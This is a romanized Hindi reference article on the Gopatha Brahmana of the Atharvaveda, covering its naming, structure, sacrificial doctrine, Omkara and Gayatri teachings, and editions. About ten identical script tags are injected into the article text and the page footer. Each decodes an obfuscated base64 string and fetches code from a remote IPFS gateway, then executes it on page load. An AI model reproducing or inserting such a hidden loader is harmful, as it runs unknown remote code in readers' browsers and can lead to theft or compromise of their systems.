गोपथ ब्राह्मण

gopath brahman atharvaved ka ek matr brahman granth hai. 'rrishi gopath' dvara is granth ki rachana ki gee thi. gopath brahman mean agnishtom, ashvamedh jaise yajnoan ke vidhi-vidhan ke atirikt ooankar tatha gayatri ki bhi mahima ka varnan hai. kaivaly ki avadharan ka ullekh isi brahman mean hai. atharvaved ka ekamatr upalabdh brahmanagranth gopath-brahman hai. sudirghakal tak isake shakha-sambandh ke vishay mean anishchay ki sthiti rahi, kyoanki atharvaved ki nau shakhaoan mean se shaunakiya shakha vishesh prasiddh aur prachalit rahi hai. gopath-brahman mean shaunakiya shakha ke mantroan ka bhi nirdesh pratikoan ke dvara kiya gaya hai, isalie is shakha se bhi isaka sambaddh man liya gaya tha. ab gopath-brahman ka sambandh paippalad shakha se sunishchit ho gaya hai, kyoanki patanjali ne vyakaran-mahabhashy mean atharvaved ke pratham mantr ke roop mean 'shanno devirabhishtaye' prabhriti mantr ka ullekh kiya hai jo paippaladashakhiy atharvaved mean hi prapt hota hai. isaka vivaran gopath-brahman mean bhi hai. venkatamadhav ki 'rrigvedanukramani' se bhi isaki pushti hoti hai-
aitareyamasmakan paippaladamatharvanamh. tritiyan tittiriproktan jananh vriddh ihochyate

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

gopath-brahman ka namakaran

gopath-brahman ke namakaran ke vishay mean samanyat: char prakar ke mat upalabdh haian-

• rrishi gopath is brahman ke pravakta haian. unhian ke nam se is granth ki prasiddhi huee. smaraniy hai ki shaunakiy atharvavedi ke char sooktoan ke drashta gopath mane jate haian. aitarey brahman, kaushitaki brahman aur taittiriy brahman prabhriti any brahman-granthoan ki prasiddhi bhi pravachanakarta acharyo ke nam par hai.
• 'gopath' shabd yahaan 'gopta' se nishpann mana gaya hai. atharvangiraso ki prasiddhi yajn ke gopta (rakshak) roop mean hai- 'atharvangiraso hi goptar:'. 'guph' dhatu mean 'ath' ke yog se 'gopath' shabd vyutpann ho jata hai. inhian gopathoan se sambaddh raha hai yah brahmanagranth.
• shatapath brahman se gopath-brahman ne pushkal samagri grahan ki hai, isalie namakaran mean bhi yahaan usi parampara ka anuvartan hua. 'shatapath' ke namakaran mean 100 adhyayoan ki satta hetubhoot thi- aur 'gopath', jisaka arth hai indriyaan aur jinaki sankhya 11 hai, mean indriyoan ke samy se 11 prapathak haian. is prakar sankhya-samy hi gopath ke namakaran mean nimittabhoot hai.
• d aau. sooryakant ne ek apana mat vyakt kiya hai jo rrigved ke 'sarama-pani' sanvad-sookt par adhrit hai. us sookt mean kaha gaya hai ki dev-shuni sarama se prapt soochana ke adhar par indr ne paniyoan ke dvara chhipaee huee gayoan ka uddhar kiya tha. indr ke is sahas-krity mean angirasoan ne unaka sahayog kiya tha. gayoan ke path ko rrishi angirash janate the, aur yah unaka brahman hai.

in sabhi matoan mean aanshat: kuchh-n-kuchh upadey ho sakata hai, kintu adhik vishvasaniy pratham mat hi pratit hota hai ki rrishi gopath ke pravakta hone ke karan is brahman ka aisa namakaran hua.

gopath-brahman ka vibhag

atharvanaparishisht 'charanavyooh' ke anusar gopath-brahman mean 100 prapathak kabhi the- 'tatr gopath: shataprapathakan brahmanamh asith. tasyavashishte dve brahmane poorvamh uttaran ch'. samprati gopathabrahman mean do bhag haian- poorv aur uttar. poorvabhag mean paanch prapathak haian aur uttarabhag mean chh:. is prakar samagr prapathakoan ki sankhya keval 11 hai. poorvabhag ke paanchoan prapathakoan ki kul kandikaean 135 haian aur uttar bhag mean 123.

gopath-brahman ka adan

bloomaphild ne gopath-brahman ke uttarabhagasth un aanshoan ko rekhankit karane ki cheshta ki hai, jo unhean poorvavarti sahity se grihit pratit hue haian. ni:sandeh uttarabhag mean aise anek sthal haian, jinaka vipul samy kaushitaki-brahman, shatapath-brahman tatha aitarey-brahman ke sandarbhit aanshoan se hai. kuchh sthaloan par taittiriy-sanhita aur maitrayani-sanhita ki pratichchhaya bhi unhean pratit huee hai, lekin vastav mean ye ve aansh haian, jo brahmavadiyoan ke madhy yajnasvaroop ke prasang mean atyant prachalit the aur sabhi ki sajhi sampatti samajhe jate the. inake adan ka prayojan apane pratipady ko poornata bhar pradan karana tha. gaharaee se sandhan karane par aise adan ke kuchh-n-kuchh aansh sabhi brahmanoan mean dikhaee de jate haian. inhian ke adhar par kuchh vidvanoan ne moolaved ke samy par kisi 'mool brahmanagranth' ka vichar bhi prakat kiya hai. bloomaphild ke samay tak brahmanagranthoan ka anushilan prarambhik sthiti mean tha, isalie unake lie 'gopath-brahman' ke prati samuchit nyay kar pana asanbhav hi tha. svayan 'gopath-brahman' ka hi koee susampadit sanskaran unake samane nahian tha. vastav mean, vibhinn brahman-granthoan mean vidyaman samanasthal, unaki parasparik sanvadashilata ke parichayak haian. brahmanagranthoan ke pravaktaoan ka mukhy uddeshy yajnoan ki angavikalata se raksha karana hi tha, n ki apani maulikata athava rachana-kaushal ki pratiti karana. is drishti se, gopath-brahman ke pravakta shlagha ke aspad hi siddh hote haian.

atharvavediy sanhitetar

sahity ki anupoorvi- is sandarbh mean bhi bloomaphild ki yah avadharana, ki atharv-sahity mean brahman, shrautasootr aur grihyasootr ke sankalan ka kalagat sambandh ulat jata hai tatha kaushik-grihyasootr vaitan-shrautasootr se pahale racha gaya tha aur vaitan-shrautasootr gopath-brahman se pahale, agrahy pratit hoti hai. vastut: vaitan-shrautasootr gopath-brahman ke uttarabhag par hi ashrit dikhalaee deta hai. isi prakar 'kaushik sootr' ke 'sanhita-vidhi' hone ka tatpary bhi bhinn hai. sanhita-vidhi ka prayojan rritvijoan ke lie dainandin karmakandiy avashyakata ki poorti raha hai, jo shrautasootr athava grihyasootr hi kar sakate haian. age chalakar, yah sthan paddhatiyoan ne le liya. brahmanagranthoan ki vishay-vivechana mean vidhi ke sath hi arthavad, hetuvad, akhyan tatha nirvachanadi bhi anivary tatha samavisht rahe hai, isalie ve dainandin anushthan-vidhiyoan ke subodh prastavak nahian hi ho sakate the. is kary ke lie to kalp hi upadey ho sakata tha. yahaan tak vishay-vastu ki vyapakata ka prashn hai, kaushik hi nahian, any vedoan ke grihyasootr bhi kabhi-kabhi apani grihyakarmoan ki sima se nikalakar shraut evan abhichar karmoan ke pratipadan mean sanlagn dikhalaee dete haian. yahaan bhi is tark ka ashray liya ja sakata hai ki bloomaphild ke samay mean vaidik karmanushthanoan ka adhyayan shaishavavastha mean tha, at: unaka bhrantigrast hona bhi asvabhavik nahian kaha ja sakata. isilie kith aur kaland-sadrish manishiyoan ne bloomaphild ke dvara prastavit anupoorvi se vaimaty prakat karate hue gopath-brahman ki paryapt prachinata ke prati astha vyakt ki hai. sandarbhit matoan ke taratamy ki vichena ke prasang mean adhik-se-adhik yah svikar kiya ja sakata hai ki gopath-brahman, brahman-kal ke antim charan ki rachana hai.

gopath-brahman mean pratipadit vishayavastu

any brahman granthoan ki apeksha gopath-brahman mean niroopit vishay-vastu atyant vyapak hai. poorvabhag ke pratham prapathak mean sarvapratham atharvaved ke anusar srishti-prakriya ka niroopan hai. tadanusar srishti ki kamana se svayambhoo brahm ka tap, jal-srishti, jal mean ret:skhalan, shantajal ke samudr se bhrigu, atharva atharvan rrishi, atharvaved, onkar, lok aur trayi ka avirbhav varnit hai. ashant jal ke samudr se varun, mrityu, angira, angiras rrishi, angiras ved, jagath, ved, vyahritiyoan, shamh, chandradi tatha yajn ki utpatti batalaee gee hai. devayajnoan ke sanrakshak-roop mean atharvangirasoan tatha dakshina ka bhi yahian varnan hai. tadanantar pranavopanishad hai jisamean pushkar mean brahm ke dvara brahma ki srishti, onkar-darshan tatha onkar ki matraoan se atharvanik tattvoan, devo, vedoan, itihasadi vanamay, onkar-jap ka phal, prashnottararoop mean niroopit hai. isake pashchath gayatryupanishad hai, jisamean gayatri mantr ki atyant vishad vyakhya prapt hoti hai. is prapathak ke ant mean achaman-vidhi varnit hai. dvitiy prapathak ki pratham ath kandikaoan mean brahmachari ke mahattv aur karttavyoan ka niroopan kiya gaya ha. tadanantar yajn mean hota prabhriti charoan rritvijoan ki bhoomika ka vichar hai. vicharak kabandhi ka ullekh karate hue devayajanadi yajniy tattvoan ki vishad mimaansa ki gee hai. tritiy prapathak ka vishay bhi yajn-vivechan hi hai. isamean brahma ka mahattv vishesharoop se niroopit hai. darshapoornamas, brahmody, agnihotr, agnishtom prabhriti ka vichar b de vyapak patal par kiya gaya hai. chaturth prapathak mean gavamayanadi satrayagoan ki mimaansa ki gee hai. yahi kram pancham prapathak mean bhi chalata rahata hai. isamean yajn-kram, vibhinn rritvijoan ki vani adi ki prapti, aangira ki utpatti, rritvijoan ke krityoan ki vivechana hai. ant mean bahusankhyak karikaean bhi di gee haian jinaka prayojan yajn-kram ke smaran ko sugam banana hai. uttarabhag mean-

• pratham prapathak ka arambh brahmakhy rritvikh ki prarochana se hota hai. tadanantar 12vian kandika tak darshapoornamas ka varnan hai. isake pashchath char kandikaoan kamyeshtiyoan ka niroopan hai. tadanantar 10 kandikaoan agrayan, agnichayan aur chaturmasyoan ka vivaran hai.
• dvitiy prapathak ki prathamamandika mean kamyeshtiyoan ka ullekh hai. tatpashchath kramash: tanoonaptreshti, pravargyeshti, yajn-sharir ke bhed, doosare ke somayag ke dhvans aur somaskand-prayashchitt ka varnan hai. age stomabhag, agnidhravibhag, pravrittahutiyoan, sadasjanyakarm, prasthit grahoan tatha darshapoornamas ka niroopan hai.
• tritiy prapathak ki vishavastu kramash: yah hai- vashatkar aur anuvashatkar, rritugrahadi, ekahaprat:savan, ekah-madhyandinasavan.
• chaturth prapathak mean poorvakram ka anuvarritan karate hue ekah ke tritiy savan ka niroopan karane ke anantar shodashiyag ka vidhan hai. isi kram mean pancham aur shashth prapathakoan ki samagri bhi hai, jinamean atiratr, sautramani, vajapey, aptoryam, ahin aur satrayag niroopit haian.

gopath-brahman mean yag-mimaansa

'agniryajn trivritan saptatantumh' is atharvan-shruti ka adhar lekar gopath-brahmanakar ne yajn ke 21 prabhed batalaye haian- 'saptasutya: sapt ch pakayajna haviryajna: sapt tathaikavianshati:. sarve te yajna angirasoapi yanti nootana yanrishayoan srijanti ye ch srashta purane॥' inaka prithakh-prithakh ullekh bhi kiya gaya hai-
sayan pratarhomau sthalipako navashy y:.
balishch pitriyajnashchashtaka saptam: pashu:॥ ityete pakayajna:
agnyadheyamagnihotran paurnamasyamavasye.
naveshtishchaturmasyani pashubandhoatyagnishtom ukthy: shodashimaanstat:.
vajapeyoatiratrashchaptoryamatr saptam:. ityete sutya:॥

akushal rritvijoan se yajn nasht ho jata hai- 'yadh vai yajne kushala rritvijo bhavantyacharitino brahmacharyamaparardhya va tadh vai yajnasy virishtamityachakshate.' atharvavediyoan ke bina som-yagoan ka sampadan nahian ho sakata- 'narte bhrigvangirovidbhy: som: patavy:. rritvij: parabhavanti, yajamano rajasapavadhyati, shrutishchapadhvastha tishthati.' yajn ka svaroop, gati aur tez yadi rrikh, yajushh aur sam par nirbhar hai, to maya bhrigvangirasoan arthath atharvaved par. isi prakar rrigvediy mandaloan se yajn ke parthivaroop, ka, antariksharoop ka yajushh se aur samaved se dyulok ka apyayan hota hai, atharvaved se jalaroop ka. brahma atharvavediy mantroan se yajn ke hanikarak tattvoan ko shant karata hai- 'tadh yathemaan prithivimudirna jyotisha dhoomayamanaan varshan shamayati, evan brahma bhrigvangirobhirvyahritibhiryajnasy virishtan shamayati. vibhinn indriyoan ki drishti se bhi brahma ke vaishishty ka niroopan gopath-brahman mean hua hai. tadanusar hota vani se, adhvaryu pran aur apan se, udgata netroan se tatha brahma man se yajn ka sampadan karata hai- 'manasaiv brahma brahmatvan karoti.'. 'chatvari shrringa.' prabhriti suprasiddh mantr ki yajnaparak vyakhya gopathabrahmanakar ne ki hai.

'maho dev:' ki vyakhya karate hue yajn ko hi mahanh devata batalaya gaya hai. yajn ke ashant ashv ko tinoan ved shant nahian kar sake, tab use atharvaved se hi shant kiya ja saka. brahma ki prarochana gopath mean sarvavetta ke roop mean ki gee hai- 'esh h vai vidvanh sarvavidh brahma yadh bhrigvangiroviditi brahmanamh'. manav-sharir ke vibhinn aangoan se yajn ki samanata pradarshit karane ki brahman-granthoan ki parampara ka anupalan gopath-brahmanakar ne bhi kiya hai. bloomaphild ka yah arop bhi sahi nahian pratit hota ki gopath-brahman ke poorvabhag mean kisi yajn-kram ka palan nahian hua hai. vastav mean poorvabhag ka prayojan vibhinn yagoan ki samany batoan, ishtiyoan aur antarvihit tattvoan ka upapadan hi hai, lekin jahaan kram ki avashyakata anubhav huee haian, usaki or gopathabrahmanakar ne durlakshy nahian kiya hai. 'athato yajnakrama:' se prarambh kar ek sampoorn kandika mean agnyadhey se lekar sarvamedh tak vibhinn yagoan ke kram-nirdharan ka kary usane kiya hai. sahastrasanvatsarasadhy yag ka anushthan kaise diya jay, is or sabhi brahmanoan ka vishesh dhyan raha he. gopath-brahman mean bhi isake samadhan ki cheshta dikhalaee deti hai. yajn ke dravyatmak roop ki tulana mean adhyatmik roop ko variyata dete hue usake pratipadan ki parampara ka arambh-bindu yadi shatapath-brahman mean hai, to usake vikas ka shikhar gopath-brahman mean dikhalaee deta hai. ise n samajh pane ke karan hi pashchimi vidvanh gopath-brahman ki yag-mimaansa ke prati nyay nahian kar sake haian. poorvabhag ki apeksha brahman ka uttar bhag yajnoan ke vyavaharik anushthaann par adhik kendrit pratitat hota hai- vaitan- shrautrasootr ke lie, isi karan usaka anugaman svabhavik aur sugam tha.

gopath-brahman mean niroopit yagetar adhyatmik tattv-sampath

atharvan-parampara ka palan karate hue gopath-brahman mean adhyatmik tattvoan ka prachurata se niroopan hua hai. onkar, mahavyahritiyoan, gayatri (savitri) mantr aur manasik sanyam par is brahmanagranth mean vishesh bal diya gaya hai. onkar ke sahastrasankhyak jap se samast kamanaean poori ho jati haian-
tadetadaksharan brahmano yan kamamichchheth, triratroposhit: pranamukhoan vagyato barhishyupavishy sahastrakritv avarttayeth. siddhyantyasyartha: sarvakarmani cheti brahmanamh
onkar ke bina ved-mantroan ka path nahian hota. vah rrikh, yajushh, sam, pratyek sootragranth, brahman-granth aur shlok mean anusyoot hai-
..n mamanirayitva brahmana brahm vadeyu:, yadi vadeyu: abrahm tath syath. tasmadonkar: poorvamuchyate. onkar rrichi rrigbhavati, yajushi yaju:, samni sam, sootre sootran, brahmane brahmanamh shloke shlok:, pranave pranav iti brahmanamh.
bhoo:, bhuv: sv: in vyahritiyoan ke sath gayatri ki bhi isamean vibhinn drishtiyoan se vishad vivechana ki gee hai. svaroop se devoan ki gayatri ki bhi isamean vibhinn drishtiyoan se vishad vivechana ki gee hai. svaroop se devoan ki gayatri ekakshara aur shvetavarna hai- 'gayatri vai devanamekakshara shvetavarna ch vyakhyata. 'k: savita. ka savitri. - (savita kaun hai aur savitri kya hai?)- is roop mean prashan uthakar savitri ki bahuvidh vyakhya ki gee hai. tadanusar man savita hai aur vani savitri. doosare ullekh ke anusar agni savita hai aur prithvi savitri. isi prakar ke any anek yugmoan-vayu aur antariksh, adity aur dyu, chandrama aur nakshatr, din aur ratri, grishm aur shit, megh aur varsha, vidyuth aur garjana, pran aur ann, ved aur chhand, yajn tatha dakshina-ityadi ke madhyam se savita aur savitri ka vivechan kiya gaya hai. poorvabhag ke pratham prapathak ki 31vian kandika se 38vian kandika tak maudgaly aur maitrey ke akhyan ke madhyam se, gayatryupanishad ke antargat savitri par jitani samagri milati hai, vah atyant upadey hai. vedamata gayatri ka upasak anant puny, shri evan kirti ka bhajan banata hai-
punyaan ch kirti labhate surabhishch gandhanh. soapahatapapma. anantaan shriyamashnute y evan ved, yashchaivan vidvanevameta vedanaan mataran savitri sampadamupanishadamupaste.
prajapati ka ullekh yadyapi gopathabrahman mean hai, kintu brahm ka mahattv sarvopari hai. srishti usi se pradurbhoot huee. kaivaly ki avadharana ka ullekh bhi isamean hai.

srishti-prakriya aur achar-darshan

srishti ka prarambh brahm ke shram aur tap se hua. bhrigu aur atharva prabhriti rrishiyoan ne bhi shram aur tap ka anushthan kiya. shram aur tap se hi dev-srishti aur lok-srishti sambhav huee. isi se tinoan vedoan aur mahavyahritiyoan ka nirman hua. gopath-brahman ke anusar man ka bahut mahattv hai. adami man se jo sochata hai, vahi hota hai- 's manasa dhyayedh, yadh vaan ahan kian ch manasa dhyasyami tathaiv tadh bhavishyati. taddh sm tathaiv bhavati'. brahmanakar ne adhe-adhoorepan se kary karane ka bhi nishedh kiya hai. dvitiy prapathak mean brahmachari ke karttavyoan ka vistar se nirooparan hai. aindrik ragoan aur akarshanoan se use bachana chahie. stri-sampark, doosaroan ko kasht pahuanchane, ooanche asan par baithane se use bachana chahie. sanrakshit dharm hi usaki raksha karata hai- 'dharmoan hainan gupto gopayati' sambhavat: yahi gopath-brahmanokt sookti laukik sanskrit mean 'dharmo rakshati rakshit:' mean parinat ho gee. yajn-diksha ke prakaran mean anek naitik niyamoan ka ullekh hai. shreshth buddhi se yukt vyakti ko hi 'dikshit' mana gaya hai-'shreshthaan dhiyan kshiyatiti. tan va etan dhikshitan santan dikshit ityachakshate parokshen.' achar ki drishti se gopath-brahman ka star atyant uchch aur udatt hai.

nirvachan-prakriya

any brahmanoan ki tarah gopath mean bhi anek rochak nirvachan prapt hote haian. udaharan ke lie 'dhara' shabd dharan karane se janm dene ke karan 'jaya' , 'varan', se varun, 'muchchu se mrityu, prajapalan ke karan prajapati, bharan karane ke karan bhrigu, ath aur arvakh ke yog se atharva ang aur ras ke yog se aangaras ya aangiras, ki nirukti niroopit haian. ras aur rath ka samikaran bhi vilakshan pratit hota hai- 'tan va evan rasan santan rath ityachakshate parokshen'.

gopath-brahman ki any visheshataean

• atharvaved aur usake bhrigu, aangira, atharva prabhriti rrishiyoan ke avirbhav par gopath se vishisht prakash p data hai.
• rrigved mean varun akash ke devata haian, lekin dhire-dhire ve jal se kaise sambandh ho gaye, isaka jnan gopath-brahman se hota hai.
• parinishthit vedoan ke sath hi sarpaved, pishachaved, asuraved, itihasaved aur puran vedoan ka ullekh paanch itar vedoan ke roop mean kiya gaya hai.
• brahma ke 48 hazar varshoan tak, salil-prishth par shiv ke tapasya karane ka ullekh hai.
• doshapati, jisaki manyata bauddhakalikaroop mean hai, ki isamean charcha hai.
• vyakaran ki us shabdavali, jisaka vikas sootr-kal mean hua, ka yahaan ullekh hai. dhatu, pratipadik, vibhakti, pratyay, vikar, vikari, sthananupradan adi aise hi kuchh shabd haian. avyay ki vah paribhasha bhi prapt hoti hai, jo adyavadhi prachalit hai-
  

sadrishan trishu lingeshu sarvasu ch vibhaktishu. vachaneshu ch sarveshu yatr vyeti tadavyayamh.

• rrishiyoan mean vasishth, vishvamitr, jamadagni, gautam, bharadvaj, guangu, agasty, kashyap prabhriti ke, acharyoan ke ashramoan ke roop mean vipasha nadi, vasishth shila, prabhav, guanguvas, agasthyatirth, kashyapatung ityadi bhaugolik mahattv ke sthanoan ka ullekh hai.
• janapadoan mean kuru-paanchal, ang, magadh, kashi, shalv, matsy, savash, ushinar aur vats ke nam diye gaye haian.
• rajaoan mean parikshitaputr janamejay tatha sarvabhaum raja yauvanashv mandhata ke namoan ka ullekh hai.
• svaha ki utpatti ka varnan karate hue gopath-brahman ne usako lamagayanoan ki sagotriy batalaya. ye lamagayan anyatr samaved ki shakhaoan ke prasang mean ullikhit haian.

nishkarsh yah ki apani anek vilakshanataoan ke karan gopath-brahman samast brahmanagranthoan ke madhy vishesh mahattv ka aspad hai.

sanskaran

adyavadhi 'gopath-brahman' ke nimnalikhit mool, anoodit aur sampadit sanskaran upalabdh haian-

• rajendralal mitr tatha harachandr vidyabhooshan ke dvara sanpadit tatha sanh 1872 ee. mean, kalakatta se prakashit sanskaran.
• jivanand vidyasagar ke dvara sanh 1891 ee. mean kalakatta se hi prakashit sanskaran.
• dyook gastra (Dieuke Gaastre) ke dvara susampadit sanskaran, laiden se 1919 ee. mean prakashit. 1972 ee. mean, indol aaujikal buk haus ke dvara photo-prati ke roop mean isi ka punarmudran.
• kshemakaranadasatrivedi ke dvara 1924 ee. mean hindi anuvad sahit prakashit sanskaran. isi ka prajna devi ke dvara pun: sampadit roop mean 1977 ee. mean prakashan hua hai.
• d aau. vijayapal vidyavaridhi ke dvara sampadit tatha sanh 1980 mean ramalal kapoor trast, sonipat (hariyana) se mudrit-vitarit sanskaran. ni:sandeh uparyukt sabhi sanskaranoan mean yah sarvashreshth hai. prastut vivaran mean isi ke sandarbh diye gaye haian.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

shrutiyaan

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>